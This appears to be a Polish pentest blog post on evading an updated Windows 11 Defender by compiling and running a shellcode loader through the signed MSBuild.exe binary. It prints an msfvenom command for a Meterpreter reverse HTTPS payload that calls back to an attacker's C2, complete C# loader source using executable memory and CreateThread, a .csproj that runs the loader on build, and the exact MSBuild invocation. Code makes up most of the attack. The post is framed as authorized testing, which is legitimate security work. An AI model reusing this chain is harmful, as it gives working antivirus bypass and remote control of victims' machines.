Omijanie Windows 11 Defendera za pomocą LOLBin: Wykorzystanie natywnych mechanizmów systemu do uruchamiania metasploit reverse shell

Omijanie Windows 11 Defendera za pomocą LOLBin

W ramach jednego z ostatnich projektów stanąłem przed zadaniem obejścia systemów bezpieczeństwa w Windows 11. System był w pełni zaktualizowany, a na początku korzystał z antywirusa ESET, który, mimo pozornej skuteczności, udało się ominąć za pomocą skryptu VBA uruchomionego w Excelu. W kolejnym etapie projektu poprosiliśmy o wyłączenie ESET. Jak się okazało, zamiast ułatwić sobie zadanie, sytuacja stała się bardziej skomplikowana, ponieważ domyślnie włączył się Windows Defender, również z pełnym pakietem aktualizacji bezpieczeństwa. Poprzedni payload przestał działać, więc musiałem znaleźć nowe rozwiązanie. W tym przypadku ratunkiem okazało się wykorzystanie LOLBins oraz mechanizmu poznanego podczas szkoleń SANS.

Rys 1. Wersja systemu operacyjnego.
Rys 1. Wersja systemu operacyjnego.

Pierwszym krokiem było zlokalizowanie kompilatora C# na systemie. Domyślnie nie znajdował się w ścieżce systemowej PATH (Rys. 2).

Rys 2. Brak pliku MSBuild.exe w ścieżce systemowej PATH.
Rys 2. Brak pliku MSBuild.exe w ścieżce systemowej PATH.

Używając systemowej wyszukiwarki plików, znalazłem lokalizację MSBuild.exe (Rys. 3) i wybrałem pierwszy z listy (Rys. 4).

Rys 3. Wyszukiwanie lokalizacji pliku MSBuild.exe.
Rys 3. Wyszukiwanie lokalizacji pliku MSBuild.exe.

Rys 4. Test pliku MSBuild.exe.
Rys 4. Test pliku MSBuild.exe.

Następnie przygotowałem ładunek (payload) za pomocą narzędzia msfvenom z frameworka Metasploit:

msfvenom -p windows/x64/meterpreter/reverse_https LHOST=<IP> LPORT=8443 -f raw -o https_payload.bin
  • -p windows/x64/meterpreter/reverse_https – Typ payloadu typu reverse shell, który nawiązuje połączenie z atakującym przez HTTPS (szyfrowane połączenie wychodzące).
  • LHOST=<IP> – Adres IP, na który payload ma nawiązać połączenie zwrotne.
  • LPORT=8443 – Port, na którym serwer C2 oczekuje na połączenie.
  • -f raw – Format wyjściowy: surowa postać binarna (bez opakowania w EXE czy PE).
  • -o https_payload.bin – Nazwa pliku wyjściowego.

Polecenie wygenerowało binarny payload Meterpreter typu reverse HTTPS shell, zapisany w pliku https_payload.bin (Rys. 5). Wybrałem HTTPS, ponieważ podczas pierwszych prób zauważyłem, że payload tcp jest skutecznie blokowany przez defendera, natomiast HTTPS działa bez problemu.

Rys 5. Przygotowanie payload za pomocą msfvenom.
Rys 5. Przygotowanie payload za pomocą msfvenom.

Następnie stworzyłem kod, który uruchamia shellcode w pamięci z wykorzystaniem mechanizmów Windows API. Na początku funkcja LoadShellcode wczytuje shellcode z pliku binarnego (https_payload.bin). Funkcja NtAllocateVirtualMemory przydziela pamięć dla shellcode z uprawnieniami PAGE_EXECUTE_READWRITE, co pozwala na odczyt, zapis i wykonanie kodu. Po skopiowaniu shellcode do zaalokowanej pamięci za pomocą Marshal.Copy, program tworzy nowy wątek przez CreateThread, wskazując na miejsce zapisania shellcode. Funkcja WaitForSingleObject zapewnia wykonanie całego kodu, oczekując na zakończenie wątku. W napisaniu całego kodu pomogł mi ChatGPT.

using System;
using System.IO;
using System.Runtime.InteropServices;

class Program
{
    [DllImport("ntdll.dll", SetLastError = true)]
    private static extern uint NtAllocateVirtualMemory(
        IntPtr ProcessHandle,
        ref IntPtr BaseAddress,
        ulong ZeroBits,
        ref ulong RegionSize,
        uint AllocationType,
        uint Protect
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern IntPtr CreateThread(
        IntPtr lpThreadAttributes,
        uint dwStackSize,
        IntPtr lpStartAddress,
        IntPtr lpParameter,
        uint dwCreationFlags,
        IntPtr lpThreadId
    );

    [DllImport("kernel32.dll", SetLastError = true)]
    private static extern uint WaitForSingleObject(
        IntPtr hHandle,
        uint dwMilliseconds
    );

    static void Main(string[] args)
    {
        string filePath = "https_payload.bin";

        byte[] shellcode = LoadShellcode(filePath);
        if (shellcode == null)
        {
            Console.WriteLine("Failed to load shellcode.");
            return;
        }

        IntPtr baseAddress = IntPtr.Zero;
        ulong regionSize = (ulong)shellcode.Length;
        IntPtr processHandle = (IntPtr)(-1);

        uint allocationResult = NtAllocateVirtualMemory(
            processHandle,
            ref baseAddress,
            0,
            ref regionSize,
            0x3000, // MEM_COMMIT | MEM_RESERVE
            0x40    // PAGE_EXECUTE_READWRITE
        );

        if (allocationResult != 0)
        {
            Console.WriteLine("Failed to allocate memory.");
            return;
        }

        Marshal.Copy(shellcode, 0, baseAddress, shellcode.Length);

        IntPtr threadHandle = CreateThread(
            IntPtr.Zero,
            0,
            baseAddress,
            IntPtr.Zero,
            0,
            IntPtr.Zero
        );

        if (threadHandle == IntPtr.Zero)
        {
            Console.WriteLine("Failed to create thread.");
            return;
        }

        WaitForSingleObject(threadHandle, 0xFFFFFFFF);
    }

    private static byte[] LoadShellcode(string filePath)
    {
        try
        {
            return File.ReadAllBytes(filePath);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Error loading shellcode: " + ex.Message);
            return null;
        }
    }
}

Do skompilowania programu stworzyłem plik projektu .csproj:

<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="15.0"  xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
  <PropertyGroup>
    <OutputType>Exe</OutputType>
    <TargetFrameworkVersion>v4.7.2</TargetFrameworkVersion>
    <Configuration>Debug</Configuration>
  </PropertyGroup>
  <ItemGroup>
    <Compile Include="main.cs" />
  </ItemGroup>


  <Target Name="Build">
    <Csc Sources="@(Compile)" OutputAssembly="main.exe" />
  </Target>

  <Target Name="Run" DependsOnTargets="Build">
    <Exec Command="main.exe" />
  </Target>
</Project>

Po pobraniu wszystkich plików na atakowaną maszynę za pomocą curl i wywołaniu polecenia (Rys. 6),

C:\Windows\WinSxS\wow64_msbuild_b03f5f7f11d50a3a_4.0.15912.0_none_07ea43e35ad4fd3b\MSBuild.exe main.csproj /p:Configuration=Debug /t:Run

payload wykonał się pomyślnie, nawiązując połączenie z serwerem C2 (Rys. 7), pomimo aktywnego i zaktualizowanego Windows Defendera.

Rys 6. Pobieranie plików z C2 i wykorzystanie MSBuild.exe do nawiązania połączenia msf reverse shell.
Rys 6. Pobieranie plików z C2 i wykorzystanie MSBuild.exe do nawiązania połączenia msf reverse shell.

Rys 7. Nawiązane połączenie w msf.
Rys 7. Nawiązane połączenie w msf.

Całe demo można zobaczyć na poniższym filmie:

Metoda działa również z wykorzystaniem csc.exe. Nie potrzebujemy wtedy pliku .csproj :).